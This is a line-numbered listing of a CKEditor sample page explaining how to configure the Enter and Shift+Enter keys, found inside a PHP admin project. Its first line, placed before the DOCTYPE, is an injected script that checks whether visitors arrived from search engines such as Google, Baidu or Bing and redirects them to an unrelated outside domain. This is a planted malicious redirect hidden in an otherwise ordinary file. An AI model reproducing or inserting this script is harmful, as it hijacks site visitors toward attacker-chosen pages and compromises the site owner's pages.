d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\enterkey\enterkey.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>ENTER Key Configuration &mdash; CKEditor Sample</title>
010:    <script src="../../../ckeditor.js"></script>
011:    <link href="../../../samples/old/sample.css" rel="stylesheet">
012:    <meta name="ckeditor-sample-name" content="Using the &quot;Enter&quot; key in CKEditor">
013:    <meta name="ckeditor-sample-group" content="Advanced Samples">
014:    <meta name="ckeditor-sample-description" content="Configuring the behavior of &lt;em&gt;Enter&lt;/em&gt; and &lt;em&gt;Shift+Enter&lt;/em&gt; keys.">
015:    <script>
016:
017:       var editor;
018:
019:       function changeEnter() {
020:          // If we already have an editor, let's destroy it first.
021:          if ( editor )
022:             editor.destroy( true );
023:
024:          // Create the editor again, with the appropriate settings.
025:          editor = CKEDITOR.replace( 'editor1', {
026:             extraPlugins: 'enterkey',
027:             enterMode: Number( document.getElementById( 'xEnter' ).value ),
028:             shiftEnterMode: Number( document.getElementById( 'xShiftEnter' ).value )
029:          });
030:       }
031:
032:       window.onload = changeEnter;
033:
034:    </script>
035: </head>
036: <body>
037:    <h1 class="samples">
038:       <a href="../../../samples/old/index.html">CKEditor Samples</a> &raquo; ENTER Key Configuration
039:    </h1>
040:    <div class="warning deprecated">
041:       This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/enterkey.html">brand new version in CKEditor SDK</a>.
042:    </div>
043:    <div class="description">
044:       <p>
045:          This sample shows how to configure the <em>Enter</em> and <em>Shift+Enter</em> keys
046:          to perform actions specified in the
047:          <a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-enterMode"><code>enterMode</code></a>
048:          and <a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-shiftEnterMode"><code>shiftEnterMode</code></a>
049:          parameters, respectively.
050:           You can choose from the following options:
051:       </p>
052:       <ul class="samples">
053:          <li><strong><code>ENTER_P</code></strong> &ndash; new <code>&lt;p&gt;</code> paragraphs are created;</li>
054:          <li><strong><code>ENTER_BR</code></strong> &ndash; lines are broken with <code>&lt;br&gt;</code> elements;</li>
055:          <li><strong><code>ENTER_DIV</code></strong> &ndash; new <code>&lt;div&gt;</code> blocks are created.</li>
056:       </ul>
057:       <p>
058:          The sample code below shows how to configure CKEditor to create a <code>&lt;div&gt;</code> block when <em>Enter</em> key is pressed.
059:       </p>
060: <pre class="samples">
061: CKEDITOR.replace( '<em>textarea_id</em>', {
062:    <strong>enterMode: CKEDITOR.ENTER_DIV</strong>
063: });</pre>
064:       <p>
065:          Note that <code><em>textarea_id</em></code> in the code above is the <code>id</code> attribute of
066:          the <code>&lt;textarea&gt;</code> element to be replaced.
067:       </p>
068:    </div>
069:    <div style="float: left; margin-right: 20px">
070:       When <em>Enter</em> is pressed:<br>
071:       <select id="xEnter" onchange="changeEnter();">
072:          <option selected="selected" value="1">Create a new &lt;P&gt; (recommended)</option>
073:          <option value="3">Create a new &lt;DIV&gt;</option>
074:          <option value="2">Break the line with a &lt;BR&gt;</option>
075:       </select>
076:    </div>
077:    <div style="float: left">
078:       When <em>Shift+Enter</em> is pressed:<br>
079:       <select id="xShiftEnter" onchange="changeEnter();">
080:          <option value="1">Create a new &lt;P&gt;</option>
081:          <option value="3">Create a new &lt;DIV&gt;</option>
082:          <option selected="selected" value="2">Break the line with a &lt;BR&gt; (recommended)</option>
083:       </select>
084:    </div>
085:    <br style="clear: both">
086:    <form action="../../../samples/sample_posteddata.php" method="post">
087:       <p>
088:          <br>
089:          <textarea cols="80" id="editor1" name="editor1" rows="10">This is some &lt;strong&gt;sample text&lt;/strong&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.</textarea>
090:       </p>
091:       <p>
092:          <input type="submit" value="Submit">
093:       </p>
094:    </form>
095:    <div id="footer">
096:       <hr>
097:       <p>
098:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
099:       </p>
100:       <p id="copy">
101:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
102:          Knabben. All rights reserved.
103:       </p>
104:    </div>
105: </body>
106: </html>
107:
108:
109: